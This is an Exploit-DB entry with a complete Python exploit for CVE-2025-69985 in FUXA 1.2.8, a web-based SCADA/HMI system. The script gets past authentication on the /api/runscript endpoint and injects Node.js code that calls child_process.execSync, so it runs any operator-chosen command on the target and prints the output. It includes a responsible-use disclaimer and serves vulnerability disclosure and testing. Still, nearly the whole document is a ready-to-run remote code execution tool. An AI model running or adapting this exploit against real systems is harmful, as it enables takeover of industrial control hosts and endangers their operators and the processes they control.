Exploit-DB #52544
Description: FUXA 1.2.8 - Authentication Bypass + RCE Exploit
Type: webapps
Platform: multiple
Date: 2026-04-30
Author: joshua

Exploit:
# Exploit Title: FUXA 1.2.8 - Authentication Bypass + RCE Exploit
# Date: 2026-02-25
# Exploit Author: Joshua van der Poll (https://github.com/joshuavanderpoll/)
# Software Link: https://github.com/frangoteam/FUXA/tree/v1.2.8
# Vendor Homepage: https://github.com/frangoteam/FUXA
# Version: FUXA <= 1.2.8
# Tested on: Debian GNU/Linux 12
# CVE : CVE-2025-69985

"""
FUXA ≤ 1.2.8 Authentication Bypass + RCE Exploit
CVE-2025-69985

This Python exploit targets CVE-2025-69985, an authentication bypass in FUXA
(web-based SCADA/HMI software) that allows access to the protected /api/runscript
endpoint even when authentication is enabled.

By sending a crafted JavaScript payload using child_process.execSync, it achieves
full remote command execution with complete stdout capture (no reverse shell needed).

Author: Joshua van der Poll (https://github.com/joshuavanderpoll/CVE-2025-69985)
Created: February 2026
Version: 1.0
License: GNU General Public License v3.0 (GPL-3.0)
Disclaimer: Use responsibly. This is a proof-of-concept for a patched
                 vulnerability (fixed in FUXA > 1.2.8). Do not use against
                 systems you do not own or have explicit permission to test.

Usage:
    python3 exploit.py -u http://target:1881 -c "whoami"
"""

import requests
import argparse
import sys
import urllib3

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Colors
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BLUE = '\033[94m'
CYAN = '\033[96m'
RESET = '\033[0m'

def print_status(msg, color=BLUE, symbol="[*]"):
    print(f"{color}{symbol} {msg}{RESET}")

def print_success(msg):
    print_status(msg, GREEN, "[+]")

def print_warning(msg):
    print_status(msg, YELLOW, "[!]")

def print_error(msg, exc=None):
    print_status(msg, RED, "[-]")
    if exc:
        print(f" → {type(exc).__name__}: {exc}")
        import traceback
        traceback.print_exc(limit=2)

def build_js_payload(command: str) -> str:
    """Build safe Node.js payload with proper escaping"""
    escaped = (command
               .replace('\\', '\\\\')
               .replace('"', '\\"')
               .replace('`', '\\`')
               .replace('\n', '\\n'))
    
    js = f"""const cp = require("child_process");
try {{
    const result = cp.execSync("{escaped}", {{ encoding: "utf8" }});
    return result.toString();
}} catch (err) {{
    return "ERROR: " + err.message +
           (err.stdout ? "\\nSTDOUT: " + err.stdout.toString() : "") +
           (err.stderr ? "\\nSTDERR: " + err.stderr.toString() : "");
}}"""
    return js

def run_command(session, base_url, command):
    print_status(f"Preparing payload → executing: {command}")
   
    js_code = build_js_payload(command)
    payload = {
        "params": {
            "script": {
                "parameters": [],
                "mode": "",
                "id": "exploit",
                "name": "exploit",
                "code": js_code,
                "test": js_code
            },
            "toLogEvent": False
        }
    }

    headers = {
        "Content-Type": "application/json",
        "Referer": f"{base_url}/fuxa"
    }

    print_status("Sending exploit request to /api/runscript ...")
    try:
        resp = session.post(
            f"{base_url}/api/runscript",
            json=payload,
            headers=headers,
            timeout=15,
            verify=False
        )

        print_status(f"Response status: {resp.status_code}", CYAN)

        if resp.status_code == 200:
            output = resp.text.strip()
            print_success("Command executed successfully (CVE-2025-69985 bypass)!")
            print(f"\n{GREEN}=== COMMAND OUTPUT ==={RESET}")
            print(output if output else "(no output)")
            print(f"{GREEN}======================{RESET}\n")
            return True
        else:
            print_error(f"Server returned {resp.status_code}")
            if resp.text.strip():
                print(f"Body preview: {resp.text[:500]}")
            return False

    except requests.exceptions.Timeout:
        print_warning("Request timed out (command may still have executed)")
        return False
    except Exception as e:
        print_error("Request failed", e)
        return False

def exploit_command(base_url, command):
    session = requests.Session()
    session.verify = False

    # Execute command
    success = run_command(session, base_url, command)

    if success:
        print("\n" + "="*70)
        print(f" {GREEN}Exploit completed!.{RESET}")
        print("="*70 + "\n")
    else:
        print_warning("Exploit may require checking target version / network")

def main():
    parser = argparse.ArgumentParser(
        description="FUXA ≤ 1.2.8 Auth Bypass + RCE (CVE-2025-69985)"
    )
    parser.add_argument('-u', '--url', required=True, help="Target URL (http(s)://host:port)")
    parser.add_argument('-c', '--cmd', required=True, help="Command to execute on target")
    args = parser.parse_args()

    base_url = args.url.rstrip('/')

    print(f"\n {BLUE}Target :{RESET} {base_url}")
    print(f" {BLUE}Command:{RESET} {args.cmd}\n")

    try:
        exploit_command(
            base_url=base_url,
            command=args.cmd
        )
    except KeyboardInterrupt:
        print_warning("Interrupted by user")
        sys.exit(2)
    except Exception as e:
        print_error("Unexpected fatal error", e)
        sys.exit(3)

if __name__ == "__main__":
    main()